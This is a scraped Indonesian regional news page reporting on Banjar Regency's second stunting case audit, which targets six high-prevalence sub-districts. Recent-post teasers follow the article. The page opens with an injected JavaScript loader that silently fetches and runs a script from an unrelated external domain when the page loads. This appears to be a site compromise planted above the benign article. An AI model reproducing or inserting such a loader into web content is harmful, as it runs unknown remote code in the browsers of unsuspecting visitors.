(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Diseminasi Audit Kasus Stunting 2 Kabupaten Banjar Sasar Enam Kecamatan


KANALKALIMANTAN.COM, BANJARBARU – Wakil Bupati Banjar Habib Idrus Al Habsyi selaku Ketua Tim Percepatan Penurunan Stunting (TPPS) Kabupaten Banjar membuka Diseminasi AKS 2 tahun 2024 di Hotel Grand Qin, Banjarbaru Selasa (10/12/2024) pagi.

Dalam kesempatan itu dia mengatakan, audit Kasus Stunting (AKS) penting dilakukan untuk mengidentifikasi risiko terjadinya stunting pada kelompok sasaran guna mengetahui penyebabnya sebagai upaya pencegahan dan perbaikan tata laksana kasus serupa.

Lebih jauh dia mengatakan, AKS dilakukan juga untuk menganalisis faktor risiko terjadinya stunting pada baduta/balita dan memberikan rekomendasi pada penanganan kasusnya.

“Beberapa tahapan sudah kita laksanakan, dari rakoor stunting dengan agenda manajemen AKS 2 pada 23 Oktober, pengisian kertas kerja AKS 2 pada 4 – 26 November, verifikasi sasaran dan kajian tim pakar pada 4 Desember dan sekarang diseminasi AKS 2,” katanya.

Baca juga: Waspada! Puncak Hujan di Kalsel Diprediksi Desember-Januari


Habib Idrus berharap hasil kajian dan rencana tindak lanjut dari AKS ini tetap dikawal dan hasilnya dapat dimanfaatkan dalam program percepatan penurunan stunting di periode berikutnya.

Ketua Tim Audit Kasus Stunting Kabupaten Banjar Dian Marliana menjelaskan, pelaksanaan diseminasi AKS 2 ini lokusnya pada kecamatan yang angka stuntingnya tinggi berada di 6 kecamatan, yaitu Kecamatan Martapura, Martapura Barat, Astambul, Karangintan, Beruntungbaru dan Sambungmakmur.

“Sasarannya calon pengantin, ibu hamil, baduta dan ibu pasca salin,” rinci Dian Marliana.

Dia mengungkapkan hari ini akan dilakukan rencana tindak lanjut yang harus ditangani pada sasaran tersebut, tim pakar sudah bertemu dengan sasaran dan mengetahui kondisinya.

Baca juga: Kadis PUPRP Banjar Ikuti Ekspose Akhir Rencana Detail Tata Ruang


“Salah satunya melihat kondisi ibu hamil yang mungkin Hb dan berat badannya rendah akan dilakukan rencana tindak lanjut dari Puskesmas dan Tim Pendamping Keluarga,” ungkap Dian.

Dian berharap dengan sasaran yang ada bisa dilakukan intervensi terhadap kasus-kasus stunting yang baru sehingga angka stunting di Kabupaten Banjar bisa diturunkan.

Baca juga: Disdikbud HSU Gelar Festival Panen Hasil Belajar Lokakarya 7 Program Guru Penggerak

Turut hadir anggota TPPS dari berbagai SKPD, mitra kerja TPPS dari Fakultas Kedokteran dan Ilmu Kesehatan ULM dan STIKES Intan Martapura, tim pakar AKS, para camat wilayah AKS 2 dan Kepala UPTD Puskesmas. (kanalkalimantan.com/dkispbanjar/kk)

Reporter: kk
Editor: Dhani


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.